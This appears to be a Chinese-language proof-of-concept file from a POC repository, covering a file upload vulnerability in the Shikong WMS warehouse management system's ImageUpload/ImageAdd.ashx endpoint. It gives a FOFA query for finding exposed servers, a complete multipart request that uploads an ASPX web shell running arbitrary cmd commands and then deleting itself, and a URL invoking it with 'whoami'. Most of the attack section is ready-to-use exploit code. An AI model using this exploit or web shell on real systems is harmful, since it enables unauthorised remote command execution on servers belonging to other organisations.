POC/wpoc/郑州时空智友信息技术有限公司/时空WMS-仓储精细化管理系统ImageAdd存在文件上传漏洞.md
eeeeeeeeee-code 06c8413e64 first commit
2025-03-04 23:12:57 +08:00

45 lines
2.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 时空WMS-仓储精细化管理系统ImageAdd存在文件上传漏洞
# 同一、漏洞简介
时空WMS-仓储精细化 管理系统Q是一款高效、智能的仓储管理工具旨在帮助企业实现仓库的精细化管理和高效运营。由郑州时空软件开发专注于以数字化、智能化推动企业进步。该系统基于先进的仓储管理理念和技术架构融合了物联网、移动互联等前沿技术实现了对仓库内物资的全面、精准、高效管理。系统适用于各类仓储物流企业包括电商仓储、第三方物流、生产仓储等多个领域。通过使用该系统企业可以实现对仓库内物资的全面掌控和高效管理提高库存周转率降低库存成本提升企业竞争优势。时空WMS-仓储精细化管理系统ImageAdd存在文件上传漏洞
# 二、影响版本
```plain
时空WMS-仓储精细化管理系统
```
# <font style="color:rgb(51, 51, 51);">三、资产测绘</font>
+ fofa`body="SKControlkLForJson.ashx"`
+ 特征
![1733071650019-13b87c7a-4d19-452b-ad2c-e2165a0ac370.png](./img/lbQy6c61cqR48Uxn/1733071650019-13b87c7a-4d19-452b-ad2c-e2165a0ac370-168361.png)
# 四、漏洞复现
```plain
POST /ImageUpload/ImageAdd.ashx HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryssh7UfnPpGU7BXfK
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip
------WebKitFormBoundaryssh7UfnPpGU7BXfK
Content-Disposition: form-data; name="file"; filename="rce.aspx"
Content-Type: text/plain
<%@ Page Language="Jscript" validateRequest="false" %><%var c=new System.Diagnostics.ProcessStartInfo("cmd");var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c " + Request.Item["cmd"];e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd() + EI.ReadToEnd());System.IO.File.Delete(Request.PhysicalPath);Response.End();%>
------WebKitFormBoundaryssh7UfnPpGU7BXfK--
```
![1733071883096-b7edb49c-40ac-40ee-abca-d3f58575a2ef.png](./img/lbQy6c61cqR48Uxn/1733071883096-b7edb49c-40ac-40ee-abca-d3f58575a2ef-148543.png)
```plain
/upload/20241202/rce.aspx?cmd=whoami
```
![1733071908903-3da1d155-fb3d-4485-a9e6-a666ec6165b6.png](./img/lbQy6c61cqR48Uxn/1733071908903-3da1d155-fb3d-4485-a9e6-a666ec6165b6-485211.png)
> 更新: 2024-12-20 14:53:56
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/uuwme5gg6bcn6cym>